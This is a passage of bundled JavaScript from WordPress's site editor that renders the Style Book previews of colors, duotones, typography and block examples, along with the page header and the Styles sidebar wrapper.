return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalGrid, {
templateColumns: templateColumns,
rowGap: 8,
columnGap: 16,
children: colors.map(color => {
const className = type === 'gradients' ? (0,external_wp_blockEditor_namespaceObject.__experimentalGetGradientClass)(color.slug) : (0,external_wp_blockEditor_namespaceObject.getColorClassName)('background-color', color.slug);
const classes = dist_clsx('edit-site-style-book__color-example', className);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.View, {
className: classes,
style: {
height: itemHeight
}
}, color.slug);
})
});
};
/* harmony default export */ const color_examples = (ColorExamples);
;// ./node_modules/@wordpress/edit-site/build-module/components/style-book/duotone-examples.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const DuotoneExamples = ({
duotones
}) => {
if (!duotones) {
return null;
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalGrid, {
columns: 2,
rowGap: 16,
columnGap: 16,
children: duotones.map(duotone => {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalGrid, {
className: "edit-site-style-book__duotone-example",
columns: 2,
rowGap: 8,
columnGap: 8,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.View, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
alt: `Duotone example: ${duotone.slug}`,
src: "https://s.w.org/images/core/5.3/MtBlanc1.jpg",
style: {
filter: `url(#wp-duotone-${duotone.slug})`
}
})
}), duotone.colors.map(color => {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.View, {
className: "edit-site-style-book__color-example",
style: {
backgroundColor: color
}
}, color);
})]
}, duotone.slug);
})
});
};
/* harmony default export */ const duotone_examples = (DuotoneExamples);
;// ./node_modules/@wordpress/edit-site/build-module/components/style-book/examples.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
/**
* Returns examples color examples for each origin
* e.g. Core (Default), Theme, and User.
*
* @param {MultiOriginPalettes} colors Global Styles color palettes per origin.
* @return {BlockExample[]} An array of color block examples.
*/
function getColorExamples(colors) {
if (!colors) {
return [];
}
const examples = [];
STYLE_BOOK_COLOR_GROUPS.forEach(group => {
const palette = colors[group.type];
const paletteFiltered = Array.isArray(palette) ? palette.find(origin => origin.slug === group.origin) : undefined;
if (paletteFiltered?.[group.type]) {
const example = {
name: group.slug,
title: group.title,
category: 'colors'
};
if (group.type === 'duotones') {
example.content = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(duotone_examples, {
duotones: paletteFiltered[group.type]
});
examples.push(example);
} else {
example.content = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(color_examples, {
colors: paletteFiltered[group.type],
type: group.type
});
examples.push(example);
}
}
});
return examples;
}
/**
* Returns examples for the overview page.
*
* @param {MultiOriginPalettes} colors Global Styles color palettes per origin.
* @return {BlockExample[]} An array of block examples.
*/
function getOverviewBlockExamples(colors) {
const examples = [];
// Get theme palette from colors if they exist.
const themePalette = Array.isArray(colors?.colors) ? colors.colors.find(origin => origin.slug === 'theme') : undefined;
if (themePalette) {
const themeColorexample = {
name: 'theme-colors',
title: (0,external_wp_i18n_namespaceObject.__)('Colors'),
category: 'overview',
content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(color_examples, {
colors: themePalette.colors,
type: "colors",
templateColumns: "repeat(auto-fill, minmax( 200px, 1fr ))",
itemHeight: "32px"
})
};
examples.push(themeColorexample);
}
// Get examples for typography blocks.
const typographyBlockExamples = [];
if ((0,external_wp_blocks_namespaceObject.getBlockType)('core/heading')) {
const headingBlock = (0,external_wp_blocks_namespaceObject.createBlock)('core/heading', {
content: (0,external_wp_i18n_namespaceObject.__)(`AaBbCcDdEeFfGgHhiiJjKkLIMmNnOoPpQakRrssTtUuVVWwXxxYyZzOl23356789X{(…)},2!*&:/A@HELFO™`),
level: 1
});
typographyBlockExamples.push(headingBlock);
}
if ((0,external_wp_blocks_namespaceObject.getBlockType)('core/paragraph')) {
const firstParagraphBlock = (0,external_wp_blocks_namespaceObject.createBlock)('core/paragraph', {
content: (0,external_wp_i18n_namespaceObject.__)(`A paragraph in a website refers to a distinct block of text that is used to present and organize information. It is a fundamental unit of content in web design and is typically composed of a group of related sentences or thoughts focused on a particular topic or idea. Paragraphs play a crucial role in improving the readability and user experience of a website. They break down the text into smaller, manageable chunks, allowing readers to scan the content more easily.`)
});
const secondParagraphBlock = (0,external_wp_blocks_namespaceObject.createBlock)('core/paragraph', {
content: (0,external_wp_i18n_namespaceObject.__)(`Additionally, paragraphs help structure the flow of information and provide logical breaks between different concepts or pieces of information. In terms of formatting, paragraphs in websites are commonly denoted by a vertical gap or indentation between each block of text. This visual separation helps visually distinguish one paragraph from another, creating a clear and organized layout that guides the reader through the content smoothly.`)
});
if ((0,external_wp_blocks_namespaceObject.getBlockType)('core/group')) {
const groupBlock = (0,external_wp_blocks_namespaceObject.createBlock)('core/group', {
layout: {
type: 'grid',
columnCount: 2,
minimumColumnWidth: '12rem'
},
style: {
spacing: {
blockGap: '1.5rem'
}
}
}, [firstParagraphBlock, secondParagraphBlock]);
typographyBlockExamples.push(groupBlock);
} else {
typographyBlockExamples.push(firstParagraphBlock);
}
}
if (!!typographyBlockExamples.length) {
examples.push({
name: 'typography',
title: (0,external_wp_i18n_namespaceObject.__)('Typography'),
category: 'overview',
blocks: typographyBlockExamples
});
}
const otherBlockExamples = ['core/image', 'core/separator', 'core/buttons', 'core/pullquote', 'core/search'];
// Get examples for other blocks and put them in order of above array.
otherBlockExamples.forEach(blockName => {
const blockType = (0,external_wp_blocks_namespaceObject.getBlockType)(blockName);
if (blockType && blockType.example) {
const blockExample = {
name: blockName,
title: blockType.title,
category: 'overview',
/*
* CSS generated from style attributes will take precedence over global styles CSS,
* so remove the style attribute from the example to ensure the example
* demonstrates changes to global styles.
*/
blocks: (0,external_wp_blocks_namespaceObject.getBlockFromExample)(blockName, {
...blockType.example,
attributes: {
...blockType.example.attributes,
style: undefined
}
})
};
examples.push(blockExample);
}
});
return examples;
}
/**
* Returns a list of examples for registered block types.
*
* @param {MultiOriginPalettes} colors Global styles colors grouped by origin e.g. Core, Theme, and User.
* @return {BlockExample[]} An array of block examples.
*/
function getExamples(colors) {
const nonHeadingBlockExamples = (0,external_wp_blocks_namespaceObject.getBlockTypes)().filter(blockType => {
const {
name,
example,
supports
} = blockType;
return name !== 'core/heading' && !!example && supports?.inserter !== false;
}).map(blockType => ({
name: blockType.name,
title: blockType.title,
category: blockType.category,
/*
* CSS generated from style attributes will take precedence over global styles CSS,
* so remove the style attribute from the example to ensure the example
* demonstrates changes to global styles.
*/
blocks: (0,external_wp_blocks_namespaceObject.getBlockFromExample)(blockType.name, {
...blockType.example,
attributes: {
...blockType.example.attributes,
style: undefined
}
})
}));
const isHeadingBlockRegistered = !!(0,external_wp_blocks_namespaceObject.getBlockType)('core/heading');
if (!isHeadingBlockRegistered) {
return nonHeadingBlockExamples;
}
// Use our own example for the Heading block so that we can show multiple
// heading levels.
const headingsExample = {
name: 'core/heading',
title: (0,external_wp_i18n_namespaceObject.__)('Headings'),
category: 'text',
blocks: [1, 2, 3, 4, 5, 6].map(level => {
return (0,external_wp_blocks_namespaceObject.createBlock)('core/heading', {
content: (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: %d: heading level e.g: "1", "2", "3"
(0,external_wp_i18n_namespaceObject.__)('Heading %d'), level),
level
});
})
};
const colorExamples = getColorExamples(colors);
const overviewBlockExamples = getOverviewBlockExamples(colors);
return [headingsExample, ...colorExamples, ...nonHeadingBlockExamples, ...overviewBlockExamples];
}
;// ./node_modules/@wordpress/edit-site/build-module/components/page/header.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function Header({
title,
subTitle,
actions
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
className: "edit-site-page-header",
as: "header",
spacing: 0,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
className: "edit-site-page-header__page-title",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
as: "h2",
level: 3,
weight: 500,
className: "edit-site-page-header__title",
truncate: true,
children: title
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
className: "edit-site-page-header__actions",
children: actions
})]
}), subTitle && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
variant: "muted",
as: "p",
className: "edit-site-page-header__sub-title",
children: subTitle
})]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/page/index.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
NavigableRegion: page_NavigableRegion
} = unlock(external_wp_editor_namespaceObject.privateApis);
function Page({
title,
subTitle,
actions,
children,
className,
hideTitleFromUI = false
}) {
const classes = dist_clsx('edit-site-page', className);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(page_NavigableRegion, {
className: classes,
ariaLabel: title,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
className: "edit-site-page-content",
children: [!hideTitleFromUI && title && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Header, {
title: title,
subTitle: subTitle,
actions: actions
}), children]
})
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-global-styles-wrapper/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useLocation: sidebar_global_styles_wrapper_useLocation,
useHistory: sidebar_global_styles_wrapper_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
const GlobalStylesPageActions = ({
isStyleBookOpened,
setIsStyleBookOpened,
path
}) => {
const history = sidebar_global_styles_wrapper_useHistory();
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
isPressed: isStyleBookOpened,
icon: library_seen,
label: (0,external_wp_i18n_namespaceObject.__)('Style Book'),
onClick: () => {
setIsStyleBookOpened(!isStyleBookOpened);
const updatedPath = !isStyleBookOpened ? (0,external_wp_url_namespaceObject.addQueryArgs)(path, {
preview: 'stylebook'
}) : (0,external_wp_url_namespaceObject.removeQueryArgs)(path, 'preview');
// Navigate to the updated path.
history.navigate(updatedPath);
},
size: "compact"
});
};
/**
* Hook to deal with navigation and location state.
*
* @return {Array} The current section and a function to update it.
*/
const useSection = () => {
const {
path,
query
} = sidebar_global_styles_wrapper_useLocation();
const history = sidebar_global_styles_wrapper_useHistory();
return (0,external_wp_element_namespaceObject.useMemo)(() => {
var _query$section;
return [(_query$section = query.section) !== null && _query$section !== void 0 ? _query$section : '/', updatedSection => {
history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(path, {
section: updatedSection
}));
}];
}, [path, query.section, history]);
};
function GlobalStylesUIWrapper() {
const {
path
} = sidebar_global_styles_wrapper_useLocation();
const [isStyleBookOpened, setIsStyleBookOpened] = (0,external_wp_element_namespaceObject.useState)(path.includes('preview=stylebook'));
const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium', '<');
const [section, onChangeSection] = useSection();
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Page, {
actions: !isMobileViewport ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesPageActions, {
isStyleBookOpened: isStyleBookOpened,
setIsStyleBookOpened: setIsStyleBookOpened,
path: path
}) : null,
className: "edit-site-styles",
title: (0,external_wp_i18n_namespaceObject.__)('Styles'),
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(global_styles_ui, {
path: section,
onPathChange: onChangeSection
})
})
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/style-book/index.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
ExperimentalBlockEditorProvider,
useGlobalStyle: style_book_useGlobalStyle,
GlobalStylesContext: style_book_GlobalStylesContext,
useGlobalStylesOutputWithConfig
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const {
mergeBaseAndUserConfigs: style_book_mergeBaseAndUserConfigs
} = unlock(external_wp_editor_namespaceObject.privateApis);
const {
Tabs: style_book_Tabs
} = unlock(external_wp_components_namespaceObject.privateApis);
function isObjectEmpty(object) {
return !object || Object.keys(object).length === 0;
}
/**
* Scrolls to a section within an iframe.
*
* @param {string} anchorId The id of the element to scroll to.
* @param {HTMLIFrameElement} iframe The target iframe.
*/
const scrollToSection = (anchorId, iframe) => {
if (!anchorId || !iframe || !iframe?.contentDocument) {
return;
}
const element = anchorId === 'top' ? iframe.contentDocument.body : iframe.contentDocument.getElementById(anchorId);
if (element) {
element.scrollIntoView({
behavior: 'smooth'
});
}
};
/**
* Parses a Block Editor navigation path to build a style book navigation path.
* The object can be extended to include a category, representing a style book tab/section.
*
* @param {string} path An internal Block Editor navigation path.
* @return {null|{block: string}} An object containing the example to navigate to.
*/
const getStyleBookNavigationFromPath = path => {
if (path && typeof path === 'string') {
if (path === '/' || path.startsWith('/typography') || path.startsWith('/colors') || path.startsWith('/blocks')) {
return {
top: true
};
}
}
return null;
};
/**
* Retrieves colors, gradients, and duotone filters from Global Styles.
* The inclusion of default (Core) palettes is controlled by the relevant
* theme.json property e.g. defaultPalette, defaultGradients, defaultDuotone.
*
* @return {Object} Object containing properties for each type of palette.
*/
function useMultiOriginPalettes() {
const {
colors,
gradients
} = (0,external_wp_blockEditor_namespaceObject.__experimentalUseMultipleOriginColorsAndGradients)();
// Add duotone filters to the palettes data.
const [shouldDisplayDefaultDuotones, customDuotones, themeDuotones, defaultDuotones] = (0,external_wp_blockEditor_namespaceObject.useSettings)('color.defaultDuotone', 'color.duotone.custom', 'color.duotone.theme', 'color.duotone.default');
const palettes = (0,external_wp_element_namespaceObject.useMemo)(() => {
const result = {
colors,
gradients,
duotones: []
};
if (themeDuotones && themeDuotones.length) {
result.duotones.push({
name: (0,external_wp_i18n_namespaceObject._x)('Theme', 'Indicates these duotone filters come from the theme.'),
slug: 'theme',
duotones: themeDuotones
});
}
if (shouldDisplayDefaultDuotones && defaultDuotones && defaultDuotones.length) {
result.duotones.push({
name: (0,external_wp_i18n_namespaceObject._x)('Default', 'Indicates these duotone filters come from WordPress.'),
slug: 'default',
duotones: defaultDuotones
});
}
if (customDuotones && customDuotones.length) {
result.duotones.push({
name: (0,external_wp_i18n_namespaceObject._x)('Custom', 'Indicates these doutone filters are created by the user.'),
slug: 'custom',
duotones: customDuotones
});
}
return result;
}, [colors, gradients, customDuotones, themeDuotones, defaultDuotones, shouldDisplayDefaultDuotones]);
return palettes;
}
/**
* Get deduped examples for single page stylebook.
* @param {Array} examples Array of examples.
* @return {Array} Deduped examples.
*/
function getExamplesForSinglePageUse(examples) {
const examplesForSinglePageUse = [];
const overviewCategoryExamples = getExamplesByCategory({
slug: 'overview'
}, examples);
examplesForSinglePageUse.push(...overviewCategoryExamples.examples);
const otherExamples = examples.filter(example => {
return example.category !== 'overview' && !overviewCategoryExamples.examples.find(overviewExample => overviewExample.name === example.name);
});
examplesForSinglePageUse.push(...otherExamples);
return examplesForSinglePageUse;
}
function StyleBook({
enableResizing = true,
isSelected,
onClick,
onSelect,
showCloseButton = true,
onClose,
showTabs = true,
userConfig = {},
path = ''
}) {
const [textColor] = style_book_useGlobalStyle('color.text');
const [backgroundColor] = style_book_useGlobalStyle('color.background');
const colors = useMultiOriginPalettes();
const examples = (0,external_wp_element_namespaceObject.useMemo)(() => getExamples(colors), [colors]);
const tabs = (0,external_wp_element_namespaceObject.useMemo)(() => getTopLevelStyleBookCategories().filter(category => examples.some(example => example.category === category.slug)), [examples]);
const examplesForSinglePageUse = getExamplesForSinglePageUse(examples);
const {
base: baseConfig
} = (0,external_wp_element_namespaceObject.useContext)(style_book_GlobalStylesContext);
const goTo = getStyleBookNavigationFromPath(path);
const mergedConfig = (0,external_wp_element_namespaceObject.useMemo)(() => {
if (!isObjectEmpty(userConfig) && !isObjectEmpty(baseConfig)) {
return style_book_mergeBaseAndUserConfigs(baseConfig, userConfig);
}
return {};
}, [baseConfig, userConfig]);
// Copied from packages/edit-site/src/components/revisions/index.js
// could we create a shared hook?
const originalSettings = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_blockEditor_namespaceObject.store).getSettings(), []);
const [globalStyles] = useGlobalStylesOutputWithConfig(mergedConfig);
const settings = (0,external_wp_element_namespaceObject.useMemo)(() => ({
...originalSettings,
styles: !isObjectEmpty(globalStyles) && !isObjectEmpty(userConfig) ? globalStyles : originalSettings.styles,
isPreviewMode: true
}), [globalStyles, originalSettings, userConfig]);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(editor_canvas_container, {
onClose: onClose,
enableResizing: enableResizing,
closeButtonLabel: showCloseButton ? (0,external_wp_i18n_namespaceObject.__)('Close') : null,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: dist_clsx('edit-site-style-book', {
'is-button': !!onClick
}),
style: {
color: textColor,
background: backgroundColor
},
children: showTabs ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(style_book_Tabs, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-style-book__tablist-container",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(style_book_Tabs.TabList, {
children: tabs.map(tab => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(style_book_Tabs.Tab, {
tabId: tab.slug,
children: tab.title
}, tab.slug))
})
}), tabs.map(tab => {
const categoryDefinition = tab.slug ? getTopLevelStyleBookCategories().find(_category => _category.slug === tab.slug) : null;
const filteredExamples = categoryDefinition ? getExamplesByCategory(categoryDefinition, examples) : {
examples
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(style_book_Tabs.TabPanel, {
tabId: tab.slug,
focusable: false,
className: "edit-site-style-book__tabpanel",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StyleBookBody, {
category: tab.slug,
examples: filteredExamples,
isSelected: isSelected,
onSelect: onSelect,
settings: settings,
title: tab.title,
goTo: goTo
})
}, tab.slug);
})]
}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StyleBookBody, {
examples: {
examples: examplesForSinglePageUse
},
isSelected: isSelected,
onClick: onClick,
onSelect: onSelect,
settings: settings,
goTo: goTo
})
})
});
}
/**
* Style Book Preview component renders the stylebook without the Editor dependency.
*
* @param {Object} props Component props.
* @param {Object} props.userConfig User configuration.
* @param {boolean} props.isStatic Whether the stylebook is static or clickable.
* @return {Object} Style Book Preview component.
*/
const StyleBookPreview = ({
userConfig = {},
isStatic = false
}) => {
const siteEditorSettings = (0,external_wp_data_namespaceObject.useSelect)(select => select(store).getSettings(), []);
const canUserUploadMedia = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).canUser('create', {
kind: 'root',
name: 'media'
}), []);
// Update block editor settings because useMultipleOriginColorsAndGradients fetch colours from there.
(0,external_wp_element_namespaceObject.useEffect)(() => {
(0,external_wp_data_namespaceObject.dispatch)(external_wp_blockEditor_namespaceObject.store).updateSettings({
...siteEditorSettings,
mediaUpload: canUserUploadMedia ? external_wp_mediaUtils_namespaceObject.uploadMedia : undefined
});
}, [siteEditorSettings, canUserUploadMedia]);
const [section, onChangeSection] = useSection();
const isSelected = blockName => {
// Match '/blocks/core%2Fbutton' and
// '/blocks/core%2Fbutton/typography', but not
// '/blocks/core%2Fbuttons'.
return section === `/blocks/${encodeURIComponent(blockName)}` || section.startsWith(`/blocks/${encodeURIComponent(blockName)}/`);
};
const onSelect = blockName => {
if (STYLE_BOOK_COLOR_GROUPS.find(group => group.slug === blockName)) {
// Go to color palettes Global Styles.
onChangeSection('/colors/palette');
return;
}
if (blockName === 'typography') {
// Go to typography Global Styles.
onChangeSection('/typography');
return;
}
// Now go to the selected block.
onChangeSection(`/blocks/${encodeURIComponent(blockName)}`);
};
const colors = useMultiOriginPalettes();
const examples = getExamples(colors);
const examplesForSinglePageUse = getExamplesForSinglePageUse(examples);
let previewCategory = null;
if (section.includes('/colors')) {
previewCategory = 'colors';
} else if (section.includes('/typography')) {
previewCategory = 'text';
} else if (section.includes('/blocks')) {
previewCategory = 'blocks';
const blockName = decodeURIComponent(section).split('/blocks/')[1];
if (blockName && examples.find(example => example.name === blockName)) {
previewCategory = blockName;
}
} else if (!isStatic) {
previewCategory = 'overview';
}
const categoryDefinition = STYLE_BOOK_PREVIEW_CATEGORIES.find(category => category.slug === previewCategory);
// If there's no category definition there may be a single block.
const filteredExamples = categoryDefinition ? getExamplesByCategory(categoryDefinition, examples) : {
examples: [examples.find(example => example.name === previewCategory)]
};
// If there's no preview category, show all examples.
const displayedExamples = previewCategory ? filteredExamples : {
examples: examplesForSinglePageUse
};
const {
base: baseConfig
} = (0,external_wp_element_namespaceObject.useContext)(style_book_GlobalStylesContext);
const goTo = getStyleBookNavigationFromPath(section);
const mergedConfig = (0,external_wp_element_namespaceObject.useMemo)(() => {
if (!isObjectEmpty(userConfig) && !isObjectEmpty(baseConfig)) {
return style_book_mergeBaseAndUserConfigs(baseConfig, userConfig);
}
return {};
}, [baseConfig, userConfig]);
const [globalStyles] = useGlobalStylesOutputWithConfig(mergedConfig);
const settings = (0,external_wp_element_namespaceObject.useMemo)(() => ({
...siteEditorSettings,
styles: !isObjectEmpty(globalStyles) && !isObjectEmpty(userConfig) ? globalStyles : siteEditorSettings.styles,
isPreviewMode: true
}), [globalStyles, siteEditorSettings, userConfig]);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-style-book",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.BlockEditorProvider, {
settings: settings,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesRenderer, {
disableRootPadding: true
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StyleBookBody, {
examples: displayedExamples,
settings: settings,
goTo: goTo,
isSelected: !isStatic ? isSelected : null,
onSelect: !isStatic ? onSelect : null
})]
})
});
};
const StyleBookBody = ({
examples,
isSelected,
onClick,
onSelect,
settings,
title,
goTo
}) => {
const [isFocused, setIsFocused] = (0,external_wp_element_namespaceObject.useState)(false);
const [hasIframeLoaded, setHasIframeLoaded] = (0,external_wp_element_namespaceObject.useState)(false);
const iframeRef = (0,external_wp_element_namespaceObject.useRef)(null);
// The presence of an `onClick` prop indicates that the Style Book is being used as a button.
// In this case, add additional props to the iframe to make it behave like a button.
const buttonModeProps = {
role: 'button',
onFocus: () => setIsFocused(true),
onBlur: () => setIsFocused(false),
onKeyDown: event => {
if (event.defaultPrevented) {
return;
}
const {
keyCode
} = event;
if (onClick && (keyCode === external_wp_keycodes_namespaceObject.ENTER || keyCode === external_wp_keycodes_namespaceObject.SPACE)) {
event.preventDefault();
onClick(event);
}
},
onClick: event => {
if (event.defaultPrevented) {
return;
}
if (onClick) {
event.preventDefault();
onClick(event);
}
},
readonly: true
};
const handleLoad = () => setHasIframeLoaded(true);
(0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
if (hasIframeLoaded && iframeRef?.current) {
if (goTo?.top) {
scrollToSection('top', iframeRef?.current);
}
}
}, [iframeRef?.current, goTo, scrollToSection, hasIframeLoaded]);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.__unstableIframe, {
onLoad: handleLoad,
ref: iframeRef,
className: dist_clsx('edit-site-style-book__iframe', {
'is-focused': isFocused && !!onClick,
'is-button': !!onClick
}),
name: "style-book-canvas",
tabIndex: 0,
...(onClick ? buttonModeProps : {}),
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__unstableEditorStyles, {
styles: settings.styles
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("style", {
children: [STYLE_BOOK_IFRAME_STYLES, !!onClick && 'body { cursor: pointer; } body * { pointer-events: none; }']
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Examples, {
className: "edit-site-style-book__examples",
filteredExamples: examples,
label: title ? (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: %s: Category of blocks, e.g. Text.
(0,external_wp_i18n_namespaceObject.__)('Examples of blocks in the %s category'), title) : (0,external_wp_i18n_namespaceObject.__)('Examples of blocks'),
isSelected: isSelected,
onSelect: onSelect
}, title)]
});
};
const Examples = (0,external_wp_element_namespaceObject.memo)(({
className,
filteredExamples,
label,
isSelected,
onSelect
}) => {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Composite, {
orientation: "vertical",
className: className,
"aria-label": label,
role: "grid",
children: [!!filteredExamples?.examples?.length && filteredExamples.examples.map(example => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Example, {
id: `example-${example.name}`,
title: example.title,
content: example.content,
blocks: example.blocks,
isSelected: isSelected?.(example.name),
onClick: !!onSelect ? () => onSelect(example.name) : null
}, example.name)), !!filteredExamples?.subcategories?.length && filteredExamples.subcategories.map(subcategory => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Composite.Group, {
className: "edit-site-style-book__subcategory",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite.GroupLabel, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", {
className: "edit-site-style-book__subcategory-title",
children: subcategory.title
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Subcategory, {
examples: subcategory.examples,
isSelected: isSelected,
onSelect: onSelect
})]
}, `subcategory-${subcategory.slug}`))]
});
});
const Subcategory = ({
examples,
isSelected,
onSelect
}) => {
return !!examples?.length && examples.map(example => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Example, {
id: `example-${example.name}`,
title: example.title,
content: example.content,
blocks: example.blocks,
isSelected: isSelected?.(example.name),
onClick: !!onSelect ? () => onSelect(example.name) : null
}, example.name));
};
const disabledExamples = ['example-duotones'];
const Example = ({
id,
title,
blocks,
isSelected,
onClick,
content
}) => {
const originalSettings = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_blockEditor_namespaceObject.store).getSettings(), []);
const settings = (0,external_wp_element_namespaceObject.useMemo)(() => ({
...originalSettings,
focusMode: false,
// Disable "Spotlight mode".
isPreviewMode: true
}), [originalSettings]);
// Cache the list of blocks to avoid additional processing when the component is re-rendered.
const renderedBlocks = (0,external_wp_element_namespaceObject.useMemo)(() => Array.isArray(blocks) ? blocks : [blocks], [blocks]);
const disabledProps = disabledExamples.includes(id) || !onClick ? {
disabled: true,
accessibleWhenDisabled: !!onClick
} : {};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
role: "row",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
role: "gridcell",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Composite.Item, {
className: dist_clsx('edit-site-style-book__example', {
'is-selected': isSelected,
'is-disabled-example': !!disabledProps?.disabled
}),
id: id,
"aria-label": !!onClick ? (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: %s: Title of a block, e.g. Heading.
(0,external_wp_i18n_namespaceObject.__)('Open %s styles in Styles panel'), title) : undefined,
render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {}),
role: !!onClick ? 'button' : null,
onClick: onClick,
...disabledProps,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
className: "edit-site-style-book__example-title",
children: title
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-style-book__example-preview",
"aria-hidden": true,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Disabled, {
className: "edit-site-style-book__example-preview__content",
children: content ? content : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(ExperimentalBlockEditorProvider, {
value: renderedBlocks,
settings: settings,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__unstableEditorStyles, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockList, {
renderAppender: false
})]
})
})
})]
})
})
});
};
/* harmony default export */ const style_book = (StyleBook);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-css.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
